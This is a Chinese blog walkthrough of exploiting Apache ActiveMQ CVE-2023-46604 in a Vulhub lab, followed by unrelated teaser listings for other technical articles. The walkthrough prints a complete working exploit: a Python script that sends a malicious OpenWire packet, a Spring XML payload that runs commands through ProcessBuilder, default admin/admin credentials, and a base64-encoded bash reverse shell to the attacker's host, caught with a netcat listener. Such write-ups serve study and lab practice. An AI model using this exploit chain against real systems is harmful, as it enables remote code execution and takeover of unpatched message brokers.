Vulhub 中的 CVE-2023-46604 📅 发布时间:2026/7/12 3:02:14 👁️ 浏览次数: 0x00 前言声明本文仅做学习交流遵守《网络安全法》。先了解一下原理CVE-2023-46604 是OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前OpenWire协议通信过程中存在一处反序列化漏洞该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型导致代理的类路径上的任何类实例化从而执行任意命令。因此该漏洞思路为通过poc对61616端口进行攻击从而达到执行任意代码的目的。0x01 CVE-2023-46604先通过nmap进行扫描。发现存在5005、8161以及61616端口。访问8161端口使用默认用户名密码adminadmin进入主界面。通过poc进行远程命令执行。先看一下poc.py的内容import io import socket import sys def main(ip, port, xml): classname org.springframework.context.support.ClassPathXmlApplicationContext socket_obj socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket_obj.connect((ip, port)) with socket_obj: out socket_obj.makefile(wb) # out io.BytesIO() # 创建一个内存中的二进制流 out.write(int(32).to_bytes(4, big)) out.write(bytes([31])) out.write(int(1).to_bytes(4, big)) out.write(bool(True).to_bytes(1, big)) out.write(int(1).to_bytes(4, big)) out.write(bool(True).to_bytes(1, big)) out.write(bool(True).to_bytes(1, big)) out.write(len(classname).to_bytes(2, big)) out.write(classname.encode(utf-8)) out.write(bool(True).to_bytes(1, big)) out.write(len(xml).to_bytes(2, big)) out.write(xml.encode(utf-8)) # print(list(out.getvalue())) out.flush() out.close() if __name__ __main__: if len(sys.argv) ! 4: print(Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 http://192.168.0.101:8888/poc.xml) exit(-1) main(sys.argv[1], int(sys.argv[2]), sys.argv[3])可以看到 使用的命令 为python3 poc.py 靶机IP 61616端口 http://攻击机IP:攻击机端口/poc.xml该poc调动了poc.xml文件因此再看一下poc.xml文件内容。?xml version1.0 encodingUTF-8 ? beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuetouch/value value/tmp/activeMQ-RCE-success/value /list /constructor-arg /bean /beanspoc.xml的功能是在靶机创建一个activeMQ-RCE-success的文件。了解完功能之后开始实验。通过在攻击机开启python服务。python3 -m http.server 9999执行poc.py。查看服务端。回到靶机看到poc已经成功执行。那么说明命令执行已经可行了。因此更改poc.xml的内容重新执行poc.py。开启nc进行监听。nc -nlvp 8888查看本机IP。 //吃过的亏poc写的没问题结果攻击机IP变了。将bash进行base64编码。echo bash -i /dev/tcp/192.168.217.179/8888 01 | base64将poc.xml中的payload部分替换成base64编码。?xml version1.0 encodingUTF-8 ? beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuebash/value value-c/value value{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNzkvODg4OCAwPiYxCg}|{base64,-d}|{bash,-i}/value /list /constructor-arg /bean /beans重新执行poc.py。查看服务端。查看nc。进行命令执行验证。0x02 总结有师傅发现服务端好像多了好几行回显当时情况是在第一次开启服务端时没有在poc.xml文件目录下启动。做渗透没有一帆风顺的本质是一个试错的过程。所以多尝试别放弃愿每一次实验都有新收获。
Prepro Nerve Growth Factor (99-115) (mouse) ;PEAHWTKLQHSLDTALR 一、基本信息肽名称:Prepro Nerve Growth Factor (99‑115) (mouse)来源:小鼠 Prepro‑NGF 前体蛋白位置:前体蛋白第 99~115 位氨基酸区域三字母序列:Pro‑Glu‑Ala‑His‑Trp‑Thr‑Lys‑Leu‑Gln‑His‑Ser‑Leu‑As… 2026/7/9 0:05:36
MAX813L外置看门狗和stm32内置的看门狗有何不同 MAX813L 与 STM32 内置看门狗的主要区别体现在实现方式、独立性、灵活性、功能特性等方面。以下是基于权威公开资料的对比分析:核心差异对比实现位置与依赖关系 MAX813L:是外置专用硬件监控芯片,完全独立于主控 MCU(如 STM32&… 2026/7/11 23:37:02
window上codex 安装 1、安装nodejs和git https://blog.csdn.net/weixin_41827053/article/details/156979860?spm1001.2014.3001.5501 2、安装codex powershell 切回官方 npm registry npm config set registry https://registry.npmjs.org确认: npm config get registry应该显示&a… 2026/7/10 7:44:34
Linux CLI 翻译工具 trans 0.9.7 进阶:支持103种语言的脚本集成与API调用 Linux CLI 翻译工具 trans 0.9.7 进阶:103种语言的脚本集成与API调用实战指南 在全球化协作和跨语言开发的日常工作中,命令行翻译工具已成为技术工作者的刚需。trans 0.9.7作为当前功能最强大的开源翻译工具之一,其支持103种语言的特性远超同… 2026/7/12 2:58:17
Kibana 7.13 数据看板实战:从日志聚合到业务监控的5步构建法 Kibana 7.13 数据看板实战:从日志聚合到业务监控的5步构建法 当企业运维和业务分析团队面临海量日志数据时,如何快速提取有价值的业务洞察成为关键挑战。本文将揭示如何通过Kibana 7.13将原始日志转化为具有决策价值的业务监控看板,提供从数据… 2026/7/12 2:56:16
HDF5 (h5py 3.10) 批量图片处理:10万张图片压缩存储,体积减少60% HDF5 (h5py 3.10) 批量图片处理:10万张图片压缩存储,体积减少60%在处理计算机视觉或遥感领域的海量图像数据时,存储空间和I/O性能往往成为瓶颈。传统按文件存储的方式不仅占用大量磁盘空间,还会导致元数据管理困难。本文将深入探讨… 2026/7/12 2:56:16
大模型上下文窗口爆了怎么办 面试中如果被问到:大模型上下文窗口爆了该怎么解决?如果你脱口而出:“换一个上下文窗口更大的模型就行”,那这道题基本就答废了。面试官真正想考察的,从来不是你会不会换模型、知不知道大窗口模型。而是要看你是否懂得… 2026/7/12 2:54:15
微信点金计划商家小票 3秒加载优化:解决 postMessage 与 X-Frame-Options 跨域 微信点金计划商家小票3秒加载优化实战指南1. 问题背景与核心挑战微信点金计划的商家小票功能允许服务商在支付完成后展示定制化内容,但实际开发中常遇到两个关键问题:3秒加载超时限制:从加载商家小票页面到调用onIframeReady事件必须控制在3秒… 2026/7/12 2:54:15
DASCTF Misc 2022-2024:3类高频考点(文件修复、内存取证、隐写)与工具链实战 DASCTF Misc 2022-2024:高频考点深度解析与实战工具链指南1. 赛事趋势与Misc题型演变近年来,DASCTF赛事中的Misc题型呈现出明显的技术分层和实战化倾向。通过对2022至2024年赛题的分析,我们可以发现三个显著特征:文件修复类题目占… 2026/7/12 2:54:15
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/12 0:01:13
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/12 0:01:13
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/12 0:03:14
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/12 0:01:13
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/12 0:01:13
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/12 0:03:14